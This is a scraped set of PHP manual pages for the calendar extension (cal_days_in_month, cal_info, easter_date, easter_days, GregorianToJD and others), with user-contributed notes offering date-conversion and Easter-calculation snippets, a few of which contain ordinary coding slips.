$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
jthome at fcgov dot com 02-Oct-2003 11:38
Had a similar problem as curlee, except I needed to create a JDE_ERP date.  [format is CYYDDD]

<?php

function jde_date_create($month, $day, $year){
    /*
    *  NOTE: $month and $day CANNOT have leading zeroes,
    *        $year must be'YYYY' format
    */
    $jde_year_prefix = substr($year, 0, 1) - 1;
    $jde_year_suffix = substr($year, -2);

    //note that valid years for mktime are 1902-2037
    $timestamp = mktime(0,0,0,$month, $day, $year);
    $baseline_timestamp = mktime(0,0,0,1,0,$year);

    $day_count = round(($timestamp - $baseline_timestamp)/86400);
    $day_count_padded = str_pad($day_count,3,"0",STR_PAD_LEFT);

    return ($jde_year_prefix . $jde_year_suffix . $day_count_padded);

}

echo jde_date_create(6,25,2000);// will return '103176'

?>

--
Jim
curlee at mindspring dot com 29-Aug-2003 08:55
I solved a problem with Julian dates that are used in the JD Edwards ERP package (running on AS/400).  The Julian format for this system is as follows:  CYYDDD

Where C is 0 for 1900 and 1 for 2000
DDD is the day of the year count

I used the mktime built-in php function to convert dates to the normal DD/MM/YYYY format.  This function will convert dates that are between 1970 and 2038 (limitation of unix timestamps and the mktime function)

The $jde_date var needs to be a 6 len STRING.... if you use a numeric var type it will drop the leading 0 for any date that represents 1900.... this will botch the substr functions and thus make the whole thing wrong.

<?php
function jde_date_conv($jde_date)
{

$ct = substr($jde_date,0,1);
$yr = substr($jde_date,1,2);
$dy = substr($jde_date,3,3);

if($ct == 0) $yr_pfx = 19;
if($ct == 1) $yr_pfx = 20;

$tlt_yr = $yr_pfx.$yr;

$base_time = mktime(0,0,0,1,0,$tlt_yr);

$unix_time = ($dy * 86400) + $base_time;

return date("m/d/Y" , $unix_time);
}
?>
Predefined Constants
cal_days_in_month
Calendar


Return the number of days in a month for a given year and calendar

Calendar Functions
cal_from_jd
Calendar Functions
PHP Manual

cal_days_in_month

(PHP 4 >= 4.1.0, PHP 5)

cal_days_in_month — Return the number of days in a month for a given year and calendar

Description

int cal_days_in_month ( int $calendar , int $month , int $year )

This function will return the number of days in the month of year for the specified calendar.

Parameters

calendar

Calendar to use for calculation

month

Month in the selected calendar

year

Year in the selected calendar

Return Values

The length in days of the selected month in the given calendar

Examples

Example #1 cal_days_in_month() example

<?php
$num = cal_days_in_month(CAL_GREGORIAN, 8, 2003); // 31
echo "There was $num days in August 2003";
?>

User Contributed Notes

Anonymous 11-Nov-2011 03:51
You can also use the date() function to get the number of days in a month. You can also pass the 2nd param strtotime() and specify a specific date:

date('t');
adam.pippin at ohmedia.ca 14-Jun-2011 03:06
Forgot to compile the calendar plugin in... Wrote a workaround while I waited for it to compile. It only supports the Gregorian calendar.

<?php
if (!function_exists('cal_days_in_month'))
{
    function cal_days_in_month($calendar, $month, $year)
    {
        return date('t', mktime(0, 0, 0, $month, 1, $year));
    }
}
if (!defined('CAL_GREGORIAN'))
    define('CAL_GREGORIAN', 1);
?>
deva dot ananth at gmail dot com 10-Mar-2011 05:44
Function  for calculation number of days until birthday:

<?php
function daysLeftForBirthday($devabirthdate)
{
    /* input birthday date format -> Y-m-d */
    list($y, $m, $d) = explode('-',$devabirthdate);
    $nowdate = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
    $nextbirthday = mktime(0,0,0,$m, $d, date("Y"));

    if ($nextbirthday<$nowdate)
        $nextbirthday=$nextbirthday+(60*60*24*365);

    $daycount=intval(($nextbirthday-$nowdate)/(60*60*24));

    return $daycount;
}
?>
brian at b5media dot com 04-Dec-2007 04:55
Remember if you just want the days in the current month, use the date function:
$days = date("t");
geko45pj at yahoo dot com 18-Jul-2007 11:28
<?php
# PHP Calendar (version 2.3), written by Keith Devens

function generate_calendar($year, $month, $days = array(), $day_name_length = 3, $month_href = NULL, $first_day = 0, $pn = array()){
    $first_of_month = gmmktime(0,0,0,$month,1,$year);

    #remember that mktime will automatically correct if invalid dates are entered
    # for instance, mktime(0,0,0,12,32,1997) will be the date for Jan 1, 1998
    # this provides a built in "rounding" feature to generate_calendar()

    $day_names = array(); #generate all the day names according to the current locale
    for($n=0,$t=(3+$first_day)*86400; $n<7; $n++,$t+=86400) #January 4, 1970 was a Sunday
        $day_names[$n] = ucfirst(gmstrftime('%A',$t)); #%A means full textual day name

    list($month, $year, $month_name, $weekday) = explode(',',gmstrftime('%m,%Y,%B,%w',$first_of_month));
    $weekday = ($weekday + 7 - $first_day) % 7; #adjust for $first_day
    $title   = htmlentities(ucfirst($month_name)).'&nbsp;'.$year;  #note that some locales don't capitalize month and day names

    #Begin calendar. Uses a real <caption>. See http://diveintomark.org/archives/2002/07/03
    @list($p, $pl) = each($pn); @list($n, $nl) = each($pn); #previous and next links, if applicable
    if($p) $p = '<span class="calendar-prev">'.($pl ? '<a href="'.htmlspecialchars($pl).'">'.$p.'</a>' : $p).'</span>&nbsp;';
    if($n) $n = '&nbsp;<span class="calendar-next">'.($nl ? '<a href="'.htmlspecialchars($nl).'">'.$n.'</a>' : $n).'</span>';
    $calendar = '<table class="calendar">'."\n".
        '<caption class="calendar-month">'.$p.($month_href ? '<a href="'.htmlspecialchars($month_href).'">'.$title.'</a>' : $title).$n."</caption>\n<tr>";

    if($day_name_length){ #if the day names should be shown ($day_name_length > 0)
        #if day_name_length is >3, the full name of the day will be printed
        foreach($day_names as $d)
            $calendar .= '<th abbr="'.htmlentities($d).'">'.htmlentities($day_name_length < 4 ? substr($d,0,$day_name_length) : $d).'</th>';
        $calendar .= "</tr>\n<tr>";
    }

    if($weekday > 0) $calendar .= '<td colspan="'.$weekday.'">&nbsp;</td>'; #initial 'empty' days
    for($day=1,$days_in_month=gmdate('t',$first_of_month); $day<=$days_in_month; $day++,$weekday++){
        if($weekday == 7){
            $weekday   = 0; #start a new week
            $calendar .= "</tr>\n<tr>";
        }
        if(isset($days[$day]) and is_array($days[$day])){
            @list($link, $classes, $content) = $days[$day];
            if(is_null($content))  $content  = $day;
            $calendar .= '<td'.($classes ? ' class="'.htmlspecialchars($classes).'">' : '>').
                ($link ? '<a href="'.htmlspecialchars($link).'">'.$content.'</a>' : $content).'</td>';
        }
        else $calendar .= "<td>$day</td>";
    }
    if($weekday != 7) $calendar .= '<td colspan="'.(7-$weekday).'">&nbsp;</td>'; #remaining "empty" days

    return $calendar."</tr>\n</table>\n";
}
echo generate_calendar(2010, 12, 16,3,NULL,0,15, $first_of_month, $day_names, $day_names[$n]);
#echo generate_calendar($year, $month, $days,$day_name_length,$month_href,$first_day,$pn);
?>
paul (at) bughunt3r.com 18-Apr-2004 08:31
Here is a nifty function to return the date for easter for ranges beyond 2037 or before 1970.

<?php
    function str_easter_date ($year) {
        $days = easter_days ($year);
        $days_in_march = cal_days_in_month (CAL_GREGORIAN, 3, $year);
        if (($days + 21) < $days_in_march) {
            $month = "March";
            $date = $days + 21;
        } else {
            $month = "April";
            $date = ($days + 21) - $days_in_march;
        }

        return "$month $date, $year";
    }
?>
jeffbeall at comcast dot net 14-Apr-2004 10:04
This will work great in future dates but will give the wrong answer for dates before 1550 (approx) when leap year was introduced and the calendar lost a year or two.
Sorry now to be more specific it has been a while sine I had to account for those later dates and had to take that into account but just a heads up for others to watch out.
dbindel at austin dot rr dot com 01-Jan-2004 09:06
Here's a one-line function I just wrote to find the numbers of days in a month that doesn't depend on any other functions.

The reason I made this is because I just found out I forgot to compile PHP with support for calendars, and a class I'm writing for my website's open source section was broken. So rather than recompiling PHP (which I will get around to tomorrow I guess), I just wrote this function which should work just as well, and will always work without the requirement of PHP's calendar extension or any other PHP functions for that matter.

I learned the days of the month using the old knuckle & inbetween knuckle method, so that should explain the mod 7 part. :)

<?php
/*
 * days_in_month($month, $year)
 * Returns the number of days in a given month and year, taking into account leap years.
 *
 * $month: numeric month (integers 1-12)
 * $year: numeric year (any integer)
 *
 * Prec: $month is an integer between 1 and 12, inclusive, and $year is an integer.
 * Post: none
 */
// corrected by ben at sparkyb dot net
function days_in_month($month, $year)
{
// calculate number of days in a month
return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
?>

Enjoy,
David Bindel
Calendar Functions
cal_from_jd
Calendar Functions


Converts from Julian Day Count to a supported calendar

cal_days_in_month
cal_info
Calendar Functions
PHP Manual

cal_from_jd

(PHP 4 >= 4.1.0, PHP 5)

cal_from_jd — Converts from Julian Day Count to a supported calendar

Description

array cal_from_jd ( int $jd , int $calendar )

cal_from_jd() converts the Julian day given in jd into a date of the specified calendar. Supported calendar values are CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH and CAL_FRENCH.

Parameters

jd

Julian day as integer

calendar

Calendar to convert to

Return Values

Returns an array containing calendar information like month, day, year, day of week, abbreviated and full names of weekday and month and the date in string form "month/day/year".

Examples

Example #1 cal_from_jd() example

<?php
$today = unixtojd(mktime(0, 0, 0, 8, 16, 2003));
print_r(cal_from_jd($today, CAL_GREGORIAN));
?>

The above example will output:

Array
(
    [date] => 8/16/2003
    [month] => 8
    [day] => 16
    [year] => 2003
    [dow] => 6
    [abbrevdayname] => Sat
    [dayname] => Saturday
    [abbrevmonth] => Aug
    [monthname] => August
)

See Also

  • cal_to_jd() - Converts from a supported calendar to Julian Day Count
  • jdtofrench() - Converts a Julian Day Count to the French Republican Calendar
  • jdtogregorian() - Converts Julian Day Count to Gregorian date
  • jdtojewish() - Converts a Julian day count to a Jewish calendar date
  • jdtojulian() - Converts a Julian Day Count to a Julian Calendar Date
  • jdtounix() - Convert Julian Day to Unix timestamp

User Contributed Notes

There are no user contributed notes for this page.
cal_days_in_month
cal_info
Calendar Functions


Returns information about a particular calendar

cal_from_jd
cal_to_jd
Calendar Functions
PHP Manual

cal_info

(PHP 4 >= 4.1.0, PHP 5)

cal_info — Returns information about a particular calendar

Description

array cal_info ([ int $calendar = -1 ] )

cal_info() returns information on the specified calendar.

Calendar information is returned as an array containing the elements calname, calsymbol, month, abbrevmonth and maxdaysinmonth. The names of the different calendars which can be used as calendar are as follows:

  • 0 or CAL_GREGORIAN - Gregorian Calendar
  • 1 or CAL_JULIAN - Julian Calendar
  • 2 or CAL_JEWISH - Jewish Calendar
  • 3 or CAL_FRENCH - French Revolutionary Calendar

If no calendar is specified information on all supported calendars is returned as an array.

Parameters

calendar

Calendar to return information for. If no calendar is specified information about all calendars is returned.

Return Values

Changelog

Version | Description
5.0.0 | The calendar parameter becomes optional and defaults to "all calendars" if omitted.

Examples

Example #1 cal_info() example

<?php
$info = cal_info(0);
print_r($info);
?>

The above example will output:

Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

User Contributed Notes

oliver DOT pliquett @mediagear DOT de 27-Nov-2002 05:44
A little example code to show the array structure:

<?php
$aCalendars = array( CAL_GREGORIAN, CAL_JULIAN, CALL_JEWISH, CAL_FRENCH );

foreach ( $aCalendars as $cal ) {

     $aCalInfo = cal_info( $cal );

     echo "cal_info( " . $aCalInfo['calsymbol'] . " ) = ";
     print_r( $aCalInfo );
     echo "\n\n";
}
?>

will return this:

cal_info( CAL_GREGORIAN ) = Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

cal_info( CAL_JULIAN ) = Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Julian
    [calsymbol] => CAL_JULIAN
)

cal_info( CAL_JEWISH ) = Array
(
    [months] => Array
        (
            [1] => Tishri
            [2] => Heshvan
            [3] => Kislev
            [4] => Tevet
            [5] => Shevat
            [6] => AdarI
            [7] => AdarII
            [8] => Nisan
            [9] => Iyyar
            [10] => Sivan
            [11] => Tammuz
            [12] => Av
            [13] => Elul
        )

    [abbrevmonths] => Array
        (
            [1] => Tishri
            [2] => Heshvan
            [3] => Kislev
            [4] => Tevet
            [5] => Shevat
            [6] => AdarI
            [7] => AdarII
            [8] => Nisan
            [9] => Iyyar
            [10] => Sivan
            [11] => Tammuz
            [12] => Av
            [13] => Elul
        )

    [maxdaysinmonth] => 30
    [calname] => Jewish
    [calsymbol] => CAL_JEWISH
)

cal_info( CAL_FRENCH ) = Array
(
    [months] => Array
        (
            [1] => Vendemiaire
            [2] => Brumaire
            [3] => Frimaire
            [4] => Nivose
            [5] => Pluviose
            [6] => Ventose
            [7] => Germinal
            [8] => Floreal
            [9] => Prairial
            [10] => Messidor
            [11] => Thermidor
            [12] => Fructidor
            [13] => Extra
        )

    [abbrevmonths] => Array
        (
            [1] => Vendemiaire
            [2] => Brumaire
            [3] => Frimaire
            [4] => Nivose
            [5] => Pluviose
            [6] => Ventose
            [7] => Germinal
            [8] => Floreal
            [9] => Prairial
            [10] => Messidor
            [11] => Thermidor
            [12] => Fructidor
            [13] => Extra
        )

    [maxdaysinmonth] => 30
    [calname] => French
    [calsymbol] => CAL_FRENCH
)
cal_from_jd
cal_to_jd
Calendar Functions


Converts from a supported calendar to Julian Day Count

cal_info
easter_date
Calendar Functions
PHP Manual

cal_to_jd

(PHP 4 >= 4.1.0, PHP 5)

cal_to_jd — Converts from a supported calendar to Julian Day Count

Description

int cal_to_jd ( int $calendar , int $month , int $day , int $year )

cal_to_jd() calculates the Julian day count for a date in the specified calendar. Supported calendars are CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH and CAL_FRENCH.

Parameters

calendar

Calendar to convert from, one of CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH or CAL_FRENCH.

month

The month as a number, the valid range depends on the calendar

day

The day as a number, the valid range depends on the calendar

year

The year as a number, the valid range depends on the calendar

Return Values

A Julian Day number.

See Also

  • cal_from_jd() - Converts from Julian Day Count to a supported calendar
  • frenchtojd() - Converts a date from the French Republican Calendar to a Julian Day Count
  • gregoriantojd() - Converts a Gregorian date to Julian Day Count
  • jewishtojd() - Converts a date in the Jewish Calendar to Julian Day Count
  • juliantojd() - Converts a Julian Calendar date to Julian Day Count
  • unixtojd() - Convert Unix timestamp to Julian Day

User Contributed Notes

There are no user contributed notes for this page.
cal_info
easter_date
Calendar Functions


Get Unix timestamp for midnight on Easter of a given year

cal_to_jd
easter_days
Calendar Functions
PHP Manual

easter_date

(PHP 4, PHP 5)

easter_date — Get Unix timestamp for midnight on Easter of a given year

Description

int easter_date ([ int $year ] )

Returns the Unix timestamp corresponding to midnight on Easter of the given year.

Warning

This function will generate a warning if the year is outside of the range for Unix timestamps (i.e. before 1970 or after 2037).

The date of Easter Day was defined by the Council of Nicaea in AD325 as the Sunday after the first full moon which falls on or after the Spring Equinox. The Equinox is assumed to always fall on 21st March, so the calculation reduces to determining the date of the full moon and the date of the following Sunday. The algorithm used here was introduced around the year 532 by Dionysius Exiguus. Under the Julian Calendar (for years before 1753) a simple 19-year cycle is used to track the phases of the Moon. Under the Gregorian Calendar (for years after 1753 - devised by Clavius and Lilius, and introduced by Pope Gregory XIII in October 1582, and into Britain and its then colonies in September 1752) two correction factors are added to make the cycle more accurate.

Parameters

year

The year as a number between 1970 an 2037

Return Values

The easter date as a unix timestamp.

Changelog

Version | Description
Since 4.3.0 | The year parameter is optional and defaults to the current year according to the local time if omitted.

Examples

Example #1 easter_date() example

<?php

echo date("M-d-Y", easter_date(1999));        // Apr-04-1999
echo date("M-d-Y", easter_date(2000));        // Apr-23-2000
echo date("M-d-Y", easter_date(2001));        // Apr-15-2001

?>

See Also

  • easter_days() - Get number of days after March 21 on which Easter falls for a given year for calculating Easter before 1970 or after 2037

User Contributed Notes

py dot lebecq at gmail dot com 11-Mar-2010 07:44
I recently had to write a function that allows me to know if today is a holiday.

And in France, we have some holidays which depends on the easter date. Maybe this will be helpful to someone.

Just modify in the $holidays array the actual holidays dates of your country.

<?php
/**
 * This function returns an array of timestamp corresponding to french holidays
 */
protected static function getHolidays($year = null)
{
  if ($year === null)
  {
    $year = intval(date('Y'));
  }

  $easterDate  = easter_date($year);
  $easterDay   = date('j', $easterDate);
  $easterMonth = date('n', $easterDate);
  $easterYear   = date('Y', $easterDate);

  $holidays = array(
    // These days have a fixed date
    mktime(0, 0, 0, 1,  1,  $year),  // 1er janvier
    mktime(0, 0, 0, 5,  1,  $year),  // Fête du travail
    mktime(0, 0, 0, 5,  8,  $year),  // Victoire des alliés
    mktime(0, 0, 0, 7,  14, $year),  // Fête nationale
    mktime(0, 0, 0, 8,  15, $year),  // Assomption
    mktime(0, 0, 0, 11, 1,  $year),  // Toussaint
    mktime(0, 0, 0, 11, 11, $year),  // Armistice
    mktime(0, 0, 0, 12, 25, $year),  // Noel

    // These days have a date depending on easter
    mktime(0, 0, 0, $easterMonth, $easterDay + 2,  $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 40, $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 50, $easterYear),
  );

  sort($holidays);

  return $holidays;
}
?>
peter dot burden at gmail dot com 28-Jan-2010 04:55
In 5.3.1 easter_date() returns GMT of start of Easter Day in UK allowing
for UK Summer Time. If you are in another time zone you need to
calculate offsets.
<?php
        $e1 = easter_date(2008);
        $e2 = easter_date(2009);
        echo "Timestamps " . $e1 . " " . $e2 . "\n";

        //      Timestamps 1206230400 1239490800

        echo "Days between Easter 2008 Easter 2009 = " . ($e2-$e1)/86400 . "\n";

        //      Days between Easter 2008 Easter 2009 = 384.958333333 - i.e. 384 days 23 hours

        date_default_timezone_set("Europe/London");
        echo date( " l, jS F Y H:i TO",$e1) . "\n";
        echo date( " l, jS F Y H:i TO",$e2) . "\n";

        //      Sunday, 23rd March 2008 00:00 GMT+0000
        //      Sunday, 12th April 2009 00:00 BST+0100

        date_default_timezone_set("America/New_York");
        echo date( " l, jS F Y H:i TO",$e1) . "\n";
        echo date( " l, jS F Y H:i TO",$e2) . "\n";

        //      Saturday, 22nd March 2008 20:00 EDT-0400
        //      Saturday, 11th April 2009 19:00 EDT-0400
        //      Daylight saving time in effect - New York 4 hours behind GMT
?>
maxie 12-Jun-2008 01:36
To compute the correct Easter date for Eastern Orthodox Churches I made a function based on the Meeus Julian algorithm:

<?php
function orthodox_eastern($year) {
    $a = $year % 4;
    $b = $year % 7;
    $c = $year % 19;
    $d = (19 * $c + 15) % 30;
    $e = (2 * $a + 4 * $b - $d + 34) % 7;
    $month = floor(($d + $e + 114) / 31);
    $day = (($d + $e + 114) % 31) + 1;

    $de = mktime(0, 0, 0, $month, $day + 13, $year);

    return $de;
}
?>
nigelf at esp dot co dot uk 28-Jan-2008 03:50
v5.2.1 - There is a known bug with easter_date() that can return incorrect dates for some years:

<?php
// 2008 OK
echo date("D d M Y", easter_date(2008));  // Sun 23 Mar 2008

// 2009 returns Saturday
echo date("D d M Y", easter_date(2009));  // Sat 11 Apr 2009
?>

However easter_days() works correctly:

<?php
echo date("D d M Y", strtotime("2009-03-21 +".easter_days(2009)." days"));  // Sun 12 Apr 2009
?>

It is apparently related to timezone settings.
14-Aug-2006 07:46
I made the function like this ... works fine !

<?php
function ostern
{
    $maerz21=date('z',mktime(0,0,0,3,21,$jb));

    $d=((15 + $jb/100 - $jb/400 - (8 * $jb/100 + 13) / 25)%30 + 19 * ($jb%19))%30;

    if ($d==29)
    {
        $D=28;
    }
    elseif($d==28 && ($jb%17)>=11)
    {
        $D=27;
    }
    else $D=$d;

    $e=(2 * ($jb%4) + 4 *($jb%7) + 6 * $D + (6 + $jb/100 - $jb/400 - 2)%7)%7;

    $ostersonntag=$e+$D+1+$maerz21;
    return $ostersonntag;
}
?>
phpuser 08-Nov-2004 08:17
The algorithm from Bigtree is correct if you add some (int) cast
<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - (int)($C / 4) - (int)((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>
cal_to_jd
easter_days
Calendar Functions


Get number of days after March 21 on which Easter falls for a given year

easter_date
FrenchToJD
Calendar Functions
PHP Manual

easter_days

(PHP 4, PHP 5)

easter_days — Get number of days after March 21 on which Easter falls for a given year

Description

int easter_days ([ int $year [, int $method = CAL_EASTER_DEFAULT ]] )

Returns the number of days after March 21 on which Easter falls for a given year. If no year is specified, the current year is assumed.

This function can be used instead of easter_date() to calculate Easter for years which fall outside the range of Unix timestamps (i.e. before 1970 or after 2037).

The date of Easter Day was defined by the Council of Nicaea in AD325 as the Sunday after the first full moon which falls on or after the Spring Equinox. The Equinox is assumed to always fall on 21st March, so the calculation reduces to determining the date of the full moon and the date of the following Sunday. The algorithm used here was introduced around the year 532 by Dionysius Exiguus. Under the Julian Calendar (for years before 1753) a simple 19-year cycle is used to track the phases of the Moon. Under the Gregorian Calendar (for years after 1753 - devised by Clavius and Lilius, and introduced by Pope Gregory XIII in October 1582, and into Britain and its then colonies in September 1752) two correction factors are added to make the cycle more accurate.

Parameters

year

The year as a positive number

method

Allows to calculate easter dates based on the Gregorian calendar during the years 1582 - 1752 when set to CAL_EASTER_ROMAN. See the calendar constants for more valid constants.

Return Values

The number of days after March 21st that the Easter Sunday is in the given year.

Changelog

Version | Description
Since 4.3.0 | The year parameter is optional and defaults to the current year according to the local time if omitted.
Since 4.3.0 | The method parameter was introduced.

Examples

Example #1 easter_days() example

<?php

echo easter_days(1999);        // 14, i.e. April 4
echo easter_days(1492);        // 32, i.e. April 22
echo easter_days(1913);        //  2, i.e. March 23

?>

See Also

  • easter_date() - Get Unix timestamp for midnight on Easter of a given year

User Contributed Notes

ian at eiloart dot com-NOSPAM 19-Nov-2001 11:43
Also, be aware that the eastern orthodox churches sometimes have different dates for easter. See, for example <http://webexhibits.org/calendars/calendar-christian-easter.html>. And note that the dates of easter a subject to change,  for example, the churches might some day decide to unify the dates.
martin at diers dot cc 15-Aug-2001 10:59
This function appears to be Britanno-centric. When attempting to calculate the Gregorian date for Easter for years prior to 1753, the function returns the number or days since March 21st in the Julian Calendar, even though the Gregorian system was in effect in the rest of Europe since 1582. If you wish to calculate the date of easter for a Gregorian date from 1582 onward, use the following function, which duplicates the funcionality of easter_days:

<?php
    function easter_days2($year) {
        #First calculate the date of easter using Delambre's algorithm.
        $a = $year % 19;
        $b = floor($year / 100);
        $c = $year % 100;
        $d = floor($b / 4);
        $e = $b % 4;
        $f = floor(($b + 8) / 25);
        $g = floor(($b - $f + 1) / 3);
        $h = (19 * $a + $b - $d - $g + 15) % 30;
        $i = floor($c / 4);
        $k = $c % 4;
        $l = (32 + 2 * $e + 2 * $i - $h - $k) % 7;
        $m = floor(($a + 11 * $h + 22 * $l) / 451);
        $n = ($h + $l - 7 * $m + 114);
        $month = floor($n / 31);
        $day = $n % 31 + 1;

        #Return the difference between the JulianDayCount for easter and March 21'st
        #of the same year, in order to duplicate the functionality of the easter_days function
        return GregorianToJD($month, $day, $year) - GregorianToJD(3,21,$year);
    }
?>
easter_date
FrenchToJD
Calendar Functions


Converts a date from the French Republican Calendar to a Julian Day Count

easter_days
GregorianToJD
Calendar Functions
PHP Manual

FrenchToJD

(PHP 4, PHP 5)

FrenchToJD — Converts a date from the French Republican Calendar to a Julian Day Count

Description

int frenchtojd ( int $month , int $day , int $year )

Converts a date from the French Republican Calendar to a Julian Day Count.

These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806). This more than covers the period when the calendar was in use.

Parameters

month

The month as a number from 1 (for Vendémiaire) to 13 (for the period of 5-6 days at the end of each year)

day

The day as a number from 1 to 30

year

The year as a number between 1 and 14

Return Values

The julian day for the given french revolution date as an integer.

See Also

  • jdtofrench() - Converts a Julian Day Count to the French Republican Calendar
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

There are no user contributed notes for this page.
easter_days
GregorianToJD
Calendar Functions


Converts a Gregorian date to Julian Day Count

FrenchToJD
JDDayOfWeek
Calendar Functions
PHP Manual

GregorianToJD

(PHP 4, PHP 5)

GregorianToJD — Converts a Gregorian date to Julian Day Count

Description

int gregoriantojd ( int $month , int $day , int $year )

Valid Range for Gregorian Calendar 4714 B.C. to 9999 A.D.

Although this function can handle dates all the way back to 4714 B.C., such use may not be meaningful. The Gregorian calendar was not instituted until October 15, 1582 (or October 5, 1582 in the Julian calendar). Some countries did not accept it until much later. For example, Britain converted in 1752, The USSR in 1918 and Greece in 1923. Most European countries used the Julian calendar prior to the Gregorian.

Parameters

month

The month as a number from 1 (for January) to 12 (for December)

day

The day as a number from 1 to 31

year

The year as a number between -4714 and 9999

Return Values

The julian day for the given gregorian date as an integer.

Examples

Example #1 Calendar functions

<?php
$jd = GregorianToJD(10, 11, 1970);
echo "$jd\n";
$gregorian = JDToGregorian($jd);
echo "$gregorian\n";
?>

See Also

  • jdtogregorian() - Converts Julian Day Count to Gregorian date
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

brian at slaapkop dot net 10-May-2010 07:53
Some people might find it useful to use a function that takes in dates formatted by ISO8601 standards (yyyy-mm-dd):

<?php function daysBetweenDate($from, $till) {
/*
 *This function will calculate the difference between two given dates.
 *
 *Please input time by ISO 8601 standards (yyyy-mm-dd).
 *i.e: daysBetweenDate('2009-01-01', '2010-01-01');
 *This will return 365.
 *
 *Author: brian [at] slaapkop [dot] net
 *May 5th 2010
*/
    if($till < $from) {
        trigger_error("The date till is before the date from", E_USER_NOTICE);
        }

    //Explode date since gregoriantojd() requires mm, dd, yyyy input;
        $from = explode('-', $from);
        $till = explode('-', $till);

    //Calculate date to Julian Day Count with freshly created array $from.
        $from = gregoriantojd($from[1], $from[2], $from[0])."<br />";

    //Calculate date to Julian Day Count with freshly created array $till.
        $till = gregoriantojd($till[1], $till[2], $till[0])."<br />";

    //Substract the days $till (largest number) from $from (smallest number) to get the amount of days
        $days = ($till - $from);

    //Return the number of days.
        return $days;

    //Isn't it sad how my comments use more lines than the actual code?
}
?>
jfg 07-Apr-2009 01:19
If you need the same output as the g_date_get_julian function of the GlibC, here is my php implementation :

<?php
    /**
     * Glib g_date_get_julian PHP implementation
     *
     * @param  $str  Date string in a format accepted by strtotime
     * @author jfg
     */
    private function _get_julian( $str )
    {
        $d = date_create($str);

        if( $d == false )
            return 0;

        $day_in_year = (int) date_format($d, "z");
        $year        = (int) date_format($d, "Y") - 1;
        $julian_days = $year * 365;
        $julian_days += ($year >>= 2);
        $julian_days -= ($year /= 25);
        $julian_days += $year >> 2;
        $julian_days += $day_in_year + 1;

        return ceil($julian_days);
    }

?>
ryker at ridgex dot net 06-Jun-2006 08:27
<?php
/*
* ComputeDateDifference(...)
*   Description:
*     Calculates the difference between two dates.
*
*   Parameter:
*     $m0, $d0, $y0   => 1. Moth/Day/Year
*     $m1, $d1, $y1   => 2. Moth/Day/Year
*
*   Return:
*     Difference between given dates in days.
*
*   Autor:
*     06.06.2006 - Christian Meyer <ryker@ridgex.net>
*/
function ComputeDateDifference($m0,$d0,$y0,$m1,$d1,$y1)
{
  $x0 = gregoriantojd($m0,$d0,$y0);
  $x1 = gregoriantojd($m1,$d1,$y1);

  $diff = $x1 - $x0;

  if ($diff < 0)
    $diff *= -1; // abs

  return $diff;
}
?>
jettyrat at jettyfishing dot com 17-Mar-2005 01:34
You can obtain the decimal fraction of the Julian date with the php gregoriantojd() function or the function shown below by applying this code to the returned value.

<?php
  $julianDate = gregoriantojd($month, $day, $year);

  //correct for half-day offset
  $dayfrac = date('G') / 24 - .5;
  if ($dayfrac < 0) $dayfrac += 1;

  //now set the fraction of a day
  $frac = $dayfrac + (date('i') + date('s') / 60) / 60 / 24;

  $julianDate = $julianDate + $frac;
?>
httpwebwitch 08-Jun-2004 04:04
This function also ignores decimal fractions in JD dates, and it uses non-standard format for returning the Gregorian date.

So, if your JD date is 2453056.28673, the Gregorian returned value is 2/20/2004, not "2004-02-20 23:45:36"

